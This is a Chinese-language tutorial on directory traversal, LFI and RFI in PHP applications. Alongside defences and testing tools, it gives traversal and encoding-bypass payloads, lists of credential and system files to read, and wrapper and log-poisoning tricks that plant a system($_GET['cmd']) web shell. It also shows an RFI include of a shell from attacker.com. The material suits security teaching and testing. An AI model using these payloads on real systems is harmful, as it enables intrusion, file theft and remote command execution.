什麼是目錄遍歷漏洞
目錄遍歷(Directory Traversal),又稱為路徑遍歷(Path Traversal),是一種安全漏洞,允許攻擊者存取 Web 根目錄以外的檔案和目錄。透過操控檔案路徑參數,攻擊者可以讀取伺服器上的敏感檔案,如設定檔、密碼檔案、日誌等。
這種攻擊通常利用 ../(上一層目錄)序列來跳脫預設的目錄限制,因此也被稱為「點點斜線攻擊」(dot-dot-slash attack)。
漏洞成因
目錄遍歷漏洞通常發生在以下情況:
- 應用程式使用使用者輸入來建構檔案路徑
- 未對輸入進行適當的驗證和過濾
- 檔案系統存取權限設定不當
- 使用不安全的函數處理檔案路徑
基本範例
假設有一個 Web 應用程式使用以下 PHP 程式碼來顯示檔案:
1
2
3
4
| <?php
$file = $_GET['file'];
include("/var/www/html/pages/" . $file);
?>
|
正常使用時,URL 可能是:
1
| http://example.com/index.php?file=about.php
|
但攻擊者可以輸入:
1
| http://example.com/index.php?file=../../../etc/passwd
|
這會讀取 /var/www/html/pages/../../../etc/passwd,也就是 /etc/passwd。
Path Traversal 技巧
基本遍歷序列
最基本的路徑遍歷使用 ../ 來向上導覽目錄:
1
2
3
4
| ../
..\..\
../../../
..\..\..\..\
|
常見的敏感檔案路徑
Linux/Unix 系統
| 檔案路徑 | 說明 |
|---|
/etc/passwd | 使用者帳號資訊 |
/etc/shadow | 使用者密碼雜湊(需要 root 權限) |
/etc/hosts | 主機名稱對應 |
/etc/ssh/sshd_config | SSH 伺服器設定 |
/etc/nginx/nginx.conf | Nginx 設定檔 |
/etc/apache2/apache2.conf | Apache 設定檔 |
/var/log/apache2/access.log | Apache 存取日誌 |
/var/log/apache2/error.log | Apache 錯誤日誌 |
/proc/self/environ | 當前進程的環境變數 |
/proc/self/cmdline | 當前進程的命令列 |
/home/user/.ssh/id_rsa | SSH 私鑰 |
/home/user/.bash_history | Bash 歷史記錄 |
Windows 系統
| 檔案路徑 | 說明 |
|---|
C:\Windows\System32\config\SAM | 使用者帳號資料庫 |
C:\Windows\System32\config\SYSTEM | 系統設定 |
C:\Windows\win.ini | Windows 設定檔 |
C:\Windows\System32\drivers\etc\hosts | 主機名稱對應 |
C:\inetpub\logs\LogFiles | IIS 日誌 |
C:\xampp\apache\conf\httpd.conf | Apache 設定檔(XAMPP) |
C:\Users\Administrator\Desktop | 管理員桌面 |
編碼繞過技術
URL 編碼
1
2
3
4
| %2e%2e%2f = ../
%2e%2e/ = ../
..%2f = ../
%2e%2e%5c = ..\
|
雙重 URL 編碼
1
2
3
| %252e%252e%252f = ../
%252e%252e/ = ../
..%252f = ../
|
Unicode/UTF-8 編碼
1
2
3
| ..%c0%af = ../
..%c1%9c = ..\
%c0%ae%c0%ae%c0%af = ../
|
16 位元 Unicode 編碼
1
2
| ..%u2215 = ../
..%u2216 = ..\
|
路徑正規化繞過
使用多餘的斜線
1
2
3
4
| ....//
....\/
....\\
..../
|
混合斜線
使用空位元組(Null Byte)
在某些舊版本的 PHP 中,可以使用空位元組截斷檔案路徑:
1
2
3
| ../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd\0.png
|
注意: PHP 5.3.4+ 已修復此漏洞。
路徑截斷技術
使用長路徑
某些系統對路徑長度有限制,可以利用這點:
1
| ../../../etc/passwd/./././././././[重複很多次]
|
點號截斷
1
| ../../../etc/passwd...........................................................
|
LFI(本地檔案包含)攻擊
什麼是 LFI
本地檔案包含(Local File Inclusion,LFI)是一種漏洞,允許攻擊者包含伺服器上的本地檔案。與單純的目錄遍歷不同,LFI 可以執行包含的檔案內容(如果是 PHP 檔案)。
LFI 漏洞範例
1
2
3
4
| <?php
$page = $_GET['page'];
include($page . ".php");
?>
|
攻擊者可以:
1
| http://example.com/index.php?page=../../../etc/passwd%00
|
PHP Wrapper 攻擊
PHP 提供多種 Wrapper,可以用於 LFI 攻擊:
php://filter
讀取原始碼(Base64 編碼):
1
2
| php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=../../../etc/passwd
|
使用範例:
1
| http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config
|
然後將回傳的 Base64 內容解碼即可獲得原始碼。
如果 allow_url_include 設定為 On,可以執行 POST 請求中的 PHP 程式碼:
1
2
3
4
| http://example.com/index.php?page=php://input
POST 內容:
<?php system($_GET['cmd']); ?>
|
data://
使用 data URI scheme 執行程式碼:
1
2
| data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
|
使用範例:
1
| http://example.com/index.php?page=data://text/plain,<?php system('id'); ?>
|
expect://
執行系統命令(需要安裝 expect 擴充):
1
2
| expect://id
expect://ls
|
zip://
讀取 ZIP 檔案中的內容:
1
| zip://path/to/file.zip%23internal_file.txt
|
日誌檔案注入(Log Poisoning)
利用日誌檔案進行程式碼執行:
Apache Access Log
- 發送包含 PHP 程式碼的請求:
1
| curl "http://example.com/<?php system(\$_GET['cmd']); ?>"
|
或修改 User-Agent:
1
| curl -A "<?php system(\$_GET['cmd']); ?>" http://example.com/
|
- 透過 LFI 包含日誌檔案:
1
| http://example.com/index.php?page=../../../var/log/apache2/access.log&cmd=id
|
SSH Log
- 嘗試使用包含 PHP 程式碼的使用者名稱登入:
1
| ssh '<?php system($_GET["cmd"]); ?>'@target
|
- 包含 SSH 認證日誌:
1
| http://example.com/index.php?page=../../../var/log/auth.log&cmd=id
|
Mail Log
- 發送包含 PHP 程式碼的郵件:
1
| mail -s "<?php system(\$_GET['cmd']); ?>" www-data@localhost < /dev/null
|
- 包含郵件日誌:
1
| http://example.com/index.php?page=../../../var/log/mail.log&cmd=id
|
/proc/self/environ 攻擊
如果可以讀取 /proc/self/environ,可以透過修改 User-Agent 進行攻擊:
- 發送包含 PHP 程式碼的請求:
1
| curl -A "<?php system(\$_GET['cmd']); ?>" "http://example.com/index.php?page=../../../proc/self/environ&cmd=id"
|
Session 檔案包含
- 設定 Session 包含惡意程式碼:
1
| http://example.com/index.php?name=<?php system($_GET['cmd']); ?>
|
- 包含 Session 檔案(Session ID 可從 Cookie 獲取):
1
| http://example.com/index.php?page=../../../var/lib/php/sessions/sess_[SESSION_ID]&cmd=id
|
RFI(遠端檔案包含)攻擊
什麼是 RFI
遠端檔案包含(Remote File Inclusion,RFI)允許攻擊者包含遠端伺服器上的檔案。這通常比 LFI 更危險,因為攻擊者可以完全控制包含的內容。
RFI 前提條件
RFI 需要以下 PHP 設定:
1
2
| allow_url_fopen = On
allow_url_include = On
|
注意: 從 PHP 5.2.0 開始,allow_url_include 預設為 Off。
RFI 攻擊範例
假設存在漏洞的程式碼:
1
2
3
4
| <?php
$page = $_GET['page'];
include($page);
?>
|
攻擊者可以:
1
| http://example.com/index.php?page=http://attacker.com/shell.txt
|
其中 shell.txt 包含:
1
| <?php system($_GET['cmd']); ?>
|
RFI 繞過技術
使用空位元組
1
| http://example.com/index.php?page=http://attacker.com/shell.txt%00
|
使用問號
1
| http://example.com/index.php?page=http://attacker.com/shell.txt?
|
使用井號
1
| http://example.com/index.php?page=http://attacker.com/shell.txt%23
|
SMB 共享(Windows)
在 Windows 環境中,可以使用 SMB 共享:
1
| http://example.com/index.php?page=\\attacker.com\share\shell.php
|
繞過技術總結
過濾繞過
如果過濾 ../
1
2
3
4
| ....//
..././
....\/
....\\
|
如果過濾 ..
1
2
3
| .%2e/
%2e./
%2e%2e/
|
如果過濾斜線
1
2
| ..%5c (Windows)
..%2f
|
白名單繞過
如果應用程式檢查檔案是否以特定目錄開頭:
1
| /var/www/html/../../../etc/passwd
|
如果檢查副檔名:
1
2
| ../../../etc/passwd%00.php (舊版 PHP)
../../../etc/passwd/.
|
WAF 繞過
1
2
3
4
5
6
| ..;/
..%00/
..%0d/
..%5c
..\/
..%ff/
|
使用絕對路徑
某些情況下可以直接使用絕對路徑:
1
2
| /etc/passwd
file:///etc/passwd
|
防護措施
1. 輸入驗證
使用白名單驗證允許的檔案名稱:
1
2
3
4
5
6
7
8
9
10
| <?php
$allowed_files = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_files)) {
include("/var/www/html/pages/" . $page . ".php");
} else {
include("/var/www/html/pages/404.php");
}
?>
|
2. 路徑正規化
使用 realpath() 函數來解析實際路徑並驗證:
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
$base_dir = "/var/www/html/pages/";
$file = $_GET['file'];
$full_path = realpath($base_dir . $file);
// 確保解析後的路徑仍在允許的目錄內
if ($full_path && strpos($full_path, $base_dir) === 0) {
include($full_path);
} else {
die("存取被拒絕");
}
?>
|
3. 過濾危險字元
移除或編碼危險字元:
1
2
3
4
5
| <?php
$file = $_GET['file'];
$file = str_replace(['../', '..\\', '..'], '', $file);
$file = basename($file); // 只保留檔案名稱
?>
|
4. 設定 open_basedir
在 PHP 設定中限制可存取的目錄:
1
| open_basedir = /var/www/html/
|
或在 Apache 虛擬主機中設定:
1
| php_admin_value open_basedir /var/www/html/
|
5. 停用危險功能
在 php.ini 中:
1
2
| allow_url_fopen = Off
allow_url_include = Off
|
6. 使用索引陣列
不直接使用使用者輸入作為檔案名稱:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| <?php
$pages = [
'1' => 'home.php',
'2' => 'about.php',
'3' => 'contact.php',
];
$page_id = $_GET['page'];
if (isset($pages[$page_id])) {
include("/var/www/html/pages/" . $pages[$page_id]);
} else {
include("/var/www/html/pages/404.php");
}
?>
|
7. 最小權限原則
- Web 伺服器使用者只能讀取必要的檔案
- 敏感檔案設定適當的權限
- 使用 chroot 環境隔離 Web 應用程式
8. Web 應用程式防火牆
部署 WAF 可以偵測並阻擋常見的路徑遍歷模式:
1
2
| ModSecurity 規則範例:
SecRule ARGS "@rx (\.\./|\.\.\\)" "id:1,deny,status:403,msg:'Path Traversal Attack'"
|
測試方法
手動測試
識別檔案參數
- 找出 URL 中的檔案相關參數
page=、file=、path=、doc=、template= 等
測試基本遍歷
1
2
| ../../../etc/passwd
..\..\..\..\windows\win.ini
|
嘗試各種編碼
1
2
3
| %2e%2e%2f
..%252f
%c0%ae%c0%ae/
|
測試 PHP Wrapper
1
| php://filter/convert.base64-encode/resource=index
|
自動化工具
Burp Suite
- 使用 Intruder 功能
- 載入路徑遍歷字典
- 分析回應中的差異
dotdotpwn
專門用於目錄遍歷測試的工具:
1
2
3
4
5
| # 測試 HTTP 模組
dotdotpwn -m http -h target.com -f /etc/passwd
# 測試特定參數
dotdotpwn -m http-url -u "http://target.com/index.php?page=TRAVERSAL" -f /etc/passwd
|
ffuf
使用 ffuf 進行模糊測試:
1
| ffuf -w lfi-wordlist.txt -u "http://target.com/index.php?page=FUZZ" -fs 0
|
LFISuite
專門的 LFI 漏洞利用工具:
測試清單
參考資源